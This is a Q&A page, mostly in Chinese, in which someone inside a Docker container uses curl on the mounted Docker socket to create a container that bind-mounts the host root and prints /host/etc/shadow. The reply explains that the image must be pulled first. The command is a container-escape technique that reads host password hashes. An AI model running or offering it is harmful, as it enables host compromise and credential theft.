首页 > 解决方案 > 不能在容器内制作容器?

问题描述

我在容器内,我正在尝试使用 CURL 创建一个新容器。

这是我使用的命令,

curl -X POST -H "Content-Type: application/json" --unix-socket /run/docker.sock -d '{"Image":"python:3", "Cmd":["cat", "/host/etc/shadow"], "Mounts":[{"Type":"bind", "Source":"/", "Target":"/host"}]}' "http://localhost/containers/create?name=escaping"

出现错误说: -{"message":"No such image: python:3"}

尝试了其他图像,同样的错误出现。

标签: docker

解决方案


Okay, this can be a simple question, but still I want to share the answer, I just come to know.

This command only works if the images is already pulled from Docker Hub, it will not go and pull image from Docker Hub.

So to come out from this error,

You need to pull the image first

docker pull python:3-apache' #or any image
Then run the same command again


推荐阅读